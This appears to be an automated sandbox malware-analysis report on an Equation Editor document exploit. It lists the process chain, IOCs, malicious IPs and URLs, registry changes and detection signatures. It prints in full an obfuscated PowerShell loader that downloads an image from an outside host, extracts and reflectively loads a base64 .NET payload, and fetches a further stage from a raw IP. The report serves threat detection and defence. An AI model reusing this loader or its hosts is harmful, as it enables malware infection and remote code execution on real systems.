Automated Malware Analysis IOC Report for

Files

File Path

Type

Processes

Path

Cmdline

Malicious

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding

Details

Is windows:	true
Is dropped:	false
PID:	2980
Target ID:	0
Parent PID:	564
Name:	WINWORD.EXE
Class:	word
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Size:	1423704
MD5:	9EE74859D22DAE61F1750B3A1BACB6F5
Time:	05:08:37
Date:	03/07/2024
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x13f030000
Modulesize:	1437696
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Sigma detected: Office Macro File Creation	System Summary
Spawns processes	System Summary	Process Injection

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Details

Is windows:	true
Is dropped:	false
PID:	2436
Target ID:	2
Parent PID:	564
Name:	EQNEDT32.EXE
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Size:	543304
MD5:	A87236E214F6D42A65F5DEDAC816AEC8
Time:	05:08:38
Date:	03/07/2024
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x400000
Modulesize:	581632
Wow64:	true

Signature Hits	Behavior Group	Mitre Attack
Sigma detected: EQNEDT32.EXE connecting to internet	Exploits
Sigma detected: File Dropped By EQNEDT32EXE	Exploits
Document exploit detected (process start blacklist hit)	Software Vulnerabilities	Exploitation for Client Execution
Sigma detected: Equation Editor Network Connection	System Summary
Sigma detected: Suspicious Microsoft Office Child Process	System Summary
Sigma detected: WScript or CScript Dropper	System Summary
Office Equation Editor has been started	Exploits
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript	System Summary
Sigma detected: Modification of IE Registry Settings	System Summary
Spawns processes	System Summary	Process Injection

C:\Windows\SysWOW64\wscript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\greatideaforfollowers.vBS"

Details

Is windows:	true
Is dropped:	false
PID:	3140
Target ID:	5
Parent PID:	2436
Name:	wscript.exe
Class:	system-tools
Path:	C:\Windows\SysWOW64\wscript.exe
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\greatideaforfollowers.vBS"
Size:	141824
MD5:	979D74799EA6C8B8167869A68DF5204A
Time:	05:08:41
Date:	03/07/2024
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x90000
Modulesize:	155648
Wow64:	true

Signature Hits	Behavior Group	Mitre Attack
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)	Exploits	Exploitation for Client Execution
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation	System Summary
Sigma detected: Potential PowerShell Command Line Obfuscation	System Summary
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands	System Summary
Sigma detected: Script Initiated Connection to Non-Local Network	System Summary
Sigma detected: Suspicious Microsoft Office Child Process	System Summary
Sigma detected: WScript or CScript Dropper	System Summary
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Sigma detected: Script Initiated Connection	System Summary
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript	System Summary
Executes visual basic scripts	System Summary	Scripting
Sigma detected: Non Interactive PowerShell Process Spawned	System Summary
Sigma detected: Potential Encoded PowerShell Patterns In CommandLine	System Summary
Spawns processes	System Summary	Process Injection

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ". ( $VErboSePreFErEnce.TosTRing()[1,3]+'X'-JoiN'')( (('94Ylink = YKohttps://uploaddeimagens.com.br/images/'+'004/807/053/origina'+'l/new_image.'+'jpg?1719846235YKo; 94YwebClient = New-Object System.Net.WebClie'+'nt; try { 94YdownloadedData = 94YwebClient.DownloadData(94Ylink) } catch { Write-Host YKoFailed To download data from 94YlinkYKo -ForegroundColor Red; ex'+'it }; if (94YdownloadedData -ne 94Ynull) { 94'+'YimageText = ['+'System.Text.Encoding]::UTF8.GetString(94Ydownload'+'edData); 94YstartFlag = YKo<<BASE64_START>>YKo;'+' 94YendFlag '+'= YKo<<BASE64_END>>YKo; 94YstartIndex = 94YimageText.IndexOf(94YstartFlag); 94YendIndex = 94YimageText.IndexOf(94YendFlag); if (94YstartIndex -ge 0 -and 94Yen'+'dIndex -gt 94YstartInd'+'ex) { 94YstartIndex += 94YstartFlag.Length; 94Ybase64Length = 94YendIndex - 94YstartIndex; 94Ybase64Command = 94YimageText.Substring(94Yst'+'a'+'rtIndex, 94Ybase64Length); 94Ycommand'+'Bytes = [Sy'+'st'+'em.Convert]::Fro'+'mBase64String(94Ybase64Command); 94YloadedAssembly = [System.Reflection'+'.Assembly]::Load(94YcommandBytes); 94Ytype = 9'+'4YloadedAssembly.GetType(YKoRunPE.HomeYKo); 94Ymethod = 94Ytype.GetMethod(YKoVAIYKo).Invoke('+'94Ynull, ['+'object[]] (YKotxt.FDW/11033/61.532.59.32//:ptthYKo ,'+' YKodesativadoYKo , YKodesativadoYKo , YKodesati'+'vadoYKo,YKoRegAsmYKo,YKoYKo)) } }') -crEPLAce 'YKo',[chAR]39 -crEPLAce([chAR]57+[chAR]52+[chAR]89),[chAR]36) )"

Details

Is windows:	true
Is dropped:	false
PID:	3200
Target ID:	6
Parent PID:	3140
Name:	powershell.exe
Class:	powershell
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ". ( $VErboSePreFErEnce.TosTRing()[1,3]+'X'-JoiN'')( (('94Ylink = YKohttps://uploaddeimagens.com.br/images/'+'004/807/053/origina'+'l/new_image.'+'jpg?1719846235YKo; 94YwebClient = New-Object System.Net.WebClie'+'nt; try { 94YdownloadedData = 94YwebClient.DownloadData(94Ylink) } catch { Write-Host YKoFailed To download data from 94YlinkYKo -ForegroundColor Red; ex'+'it }; if (94YdownloadedData -ne 94Ynull) { 94'+'YimageText = ['+'System.Text.Encoding]::UTF8.GetString(94Ydownload'+'edData); 94YstartFlag = YKo<<BASE64_START>>YKo;'+' 94YendFlag '+'= YKo<<BASE64_END>>YKo; 94YstartIndex = 94YimageText.IndexOf(94YstartFlag); 94YendIndex = 94YimageText.IndexOf(94YendFlag); if (94YstartIndex -ge 0 -and 94Yen'+'dIndex -gt 94YstartInd'+'ex) { 94YstartIndex += 94YstartFlag.Length; 94Ybase64Length = 94YendIndex - 94YstartIndex; 94Ybase64Command = 94YimageText.Substring(94Yst'+'a'+'rtIndex, 94Ybase64Length); 94Ycommand'+'Bytes = [Sy'+'st'+'em.Convert]::Fro'+'mBase64String(94Ybase64Command); 94YloadedAssembly = [System.Reflection'+'.Assembly]::Load(94YcommandBytes); 94Ytype = 9'+'4YloadedAssembly.GetType(YKoRunPE.HomeYKo); 94Ymethod = 94Ytype.GetMethod(YKoVAIYKo).Invoke('+'94Ynull, ['+'object[]] (YKotxt.FDW/11033/61.532.59.32//:ptthYKo ,'+' YKodesativadoYKo , YKodesativadoYKo , YKodesati'+'vadoYKo,YKoRegAsmYKo,YKoYKo)) } }') -crEPLAce 'YKo',[chAR]39 -crEPLAce([chAR]57+[chAR]52+[chAR]89),[chAR]36) )"
Size:	427008
MD5:	EB32C070E658937AA9FA9F3AE629B2B8
Time:	05:08:42
Date:	03/07/2024
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x1010000
Modulesize:	438272
Wow64:	true

Signature Hits	Behavior Group	Mitre Attack
Yara detected Powershell download and execute	HIPS / PFW / Operating System Protection Evasion
Obfuscated command line found	Data Obfuscation	Command and Scripting Interpreter Deobfuscate/Decode Files or Information
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation	System Summary
Sigma detected: Potential PowerShell Command Line Obfuscation	System Summary
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands	System Summary
Suspicious execution chain found	Software Vulnerabilities	Exploitation for Client Execution
Suspicious powershell command line found	Data Obfuscation	PowerShell
Wscript starts Powershell (via cmd or directly)	System Summary	PowerShell Scripting
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)	HIPS / PFW / Operating System Protection Evasion	Command and Scripting Interpreter
Sigma detected: Non Interactive PowerShell Process Spawned	System Summary
Sigma detected: Potential Encoded PowerShell Patterns In CommandLine	System Summary
Sigma detected: PowerShell Script Dropped Via PowerShell.EXE	System Summary
Spawns processes	System Summary	Process Injection

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Details

Is windows:	true
Is dropped:	false
PID:	3404
Target ID:	8
Parent PID:	564
Name:	EQNEDT32.EXE
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Size:	543304
MD5:	A87236E214F6D42A65F5DEDAC816AEC8
Time:	05:09:00
Date:	03/07/2024
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x400000
Modulesize:	581632
Wow64:	true

Signature Hits	Behavior Group	Mitre Attack
Sigma detected: EQNEDT32.EXE connecting to internet	Exploits
Sigma detected: File Dropped By EQNEDT32EXE	Exploits
Document exploit detected (process start blacklist hit)	Software Vulnerabilities	Exploitation for Client Execution
Sigma detected: Equation Editor Network Connection	System Summary
Sigma detected: Suspicious Microsoft Office Child Process	System Summary
Sigma detected: WScript or CScript Dropper	System Summary
Office Equation Editor has been started	Exploits
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript	System Summary
Sigma detected: Modification of IE Registry Settings	System Summary
Spawns processes	System Summary	Process Injection

URLs

Name

Malicious

http://23.95.235.16/33011/greatideaforfollowers.gif

23.95.235.16

https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235YKo;

unknown

https://uploaddeimagens.com.br/images/

unknown

http://uploaddeimagens.com.br

unknown

https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235p

unknown

https://uploaddeimagens.com.br

unknown

https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235

188.114.96.3

https://www.cloudflare.com/learning/access-management/phishing-attack/

unknown

http://nuget.org/NuGet.exe

unknown

http://crl.entrust.net/server1.crl0

unknown

http://ocsp.entrust.net03

unknown

https://contoso.com/License

unknown

https://contoso.com/Icon

unknown

http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0

unknown

http://www.diginotar.nl/cps/pkioverheid0

unknown

http://go.micros

unknown

http://23.95.235.16/33011/grJ

unknown

https://www.cloudflare.com/5xx-error-landing

unknown

http://crl.pkioverheid.nl/DomOvLatestCRL.crl0

unknown

https://contoso.com/

unknown

https://nuget.org/nuget.exe

unknown

http://23.95.235.16/33011/greatideaforfollowers.gifj

unknown

http://23.95.235.16/33011/greatideaforfollowers.gifyyC:

unknown

http://ocsp.entrust.net0D

unknown

http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

unknown

https://secure.comodo.com/CPS0

unknown

http://23.95.235.1

unknown

http://91.92.254.29/Users_API/syscore/file_xgep41gp.dyp.txt

unknown

http://crl.entrust.net/2048ca.crl0

unknown

There are 19 hidden URLs, click here to show them.

Domains

Name

Malicious

uploaddeimagens.com.br

188.114.96.3

Details

Name:	uploaddeimagens.com.br
IP:	188.114.96.3
TargetID:	6
Current Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Active:	true

Signature Hits	Behavior Group	Mitre Attack
Obfuscated command line found	Data Obfuscation	Command and Scripting Interpreter Deobfuscate/Decode Files or Information
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation	System Summary
Sigma detected: Potential PowerShell Command Line Obfuscation	System Summary
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands	System Summary
Suspicious powershell command line found	Data Obfuscation	PowerShell
Wscript starts Powershell (via cmd or directly)	System Summary	PowerShell Scripting
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
HTTP GET or POST without a user agent	Networking
Potential document exploit detected (performs DNS queries)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (unknown TCP traffic)	Software Vulnerabilities	Exploitation for Client Execution
Uses insecure TLS / SSL version for HTTPS connection	Compliance, Networking
Very long cmdline option found, this is very uncommon (may be encrypted or packed)	HIPS / PFW / Operating System Protection Evasion	Command and Scripting Interpreter
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol
Sigma detected: Non Interactive PowerShell Process Spawned	System Summary
Sigma detected: Potential Encoded PowerShell Patterns In CommandLine	System Summary
Spawns processes	System Summary	Process Injection
URLs found in memory or binary data	Networking

IPs

Domain

Country

Malicious

91.92.254.29

unknown

Bulgaria

Details

IP:	91.92.254.29
TargetID:	5
Current Path:	C:\Windows\SysWOW64\wscript.exe
Country:	Bulgaria
Countrycode:	BGR
ASN number:	34368
ASN name:	THEZONEBG
Private:	false

Signature Hits	Behavior Group	Mitre Attack
Snort IDS alert for network traffic	Networking
System process connects to network (likely due to code injection or exploit)	Networking, HIPS / PFW / Operating System Protection Evasion	Process Injection
Sigma detected: Script Initiated Connection to Non-Local Network	System Summary
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (unknown TCP traffic)	Software Vulnerabilities	Exploitation for Client Execution
Sigma detected: Script Initiated Connection	System Summary
Uses a known web browser user agent for HTTP communication	Networking	Application Layer Protocol
Connects to IPs without corresponding DNS lookups	Networking
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
URLs found in memory or binary data	Networking

23.95.235.16

unknown

United States

Details

IP:	23.95.235.16
TargetID:	2
Current Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Country:	United States
Countrycode:	USA
ASN number:	36352
ASN name:	AS-COLOCROSSINGUS
Private:	false

Signature Hits	Behavior Group	Mitre Attack
Sigma detected: EQNEDT32.EXE connecting to internet	Exploits
Office equation editor establishes network connection	Exploits	Exploitation for Client Execution
Sigma detected: Equation Editor Network Connection	System Summary
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (unknown TCP traffic)	Software Vulnerabilities	Exploitation for Client Execution
Uses a known web browser user agent for HTTP communication	Networking	Application Layer Protocol
Connects to IPs without corresponding DNS lookups	Networking
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
URLs found in memory or binary data	Networking

188.114.96.3

uploaddeimagens.com.br

European Union

Details

IP:	188.114.96.3
TargetID:	6
Current Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Country:	European Union
Countrycode:	EU
ASN number:	13335
ASN name:	CLOUDFLARENETUS
Private:	false
Domain:	uploaddeimagens.com.br

Signature Hits	Behavior Group	Mitre Attack
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (unknown TCP traffic)	Software Vulnerabilities	Exploitation for Client Execution
Uses insecure TLS / SSL version for HTTPS connection	Compliance, Networking

Registry

Path

Value

Malicious

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8

Blob

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C

Blob

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

s5-

HKEY_CURRENT_USER\Software\Microsoft\Shared Tools\Outlook\Journaling\Microsoft Word

Enabled

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word

MTTT

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

l6-

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

48-

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\ReviewCycle

ReviewToken

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\2780D

2780D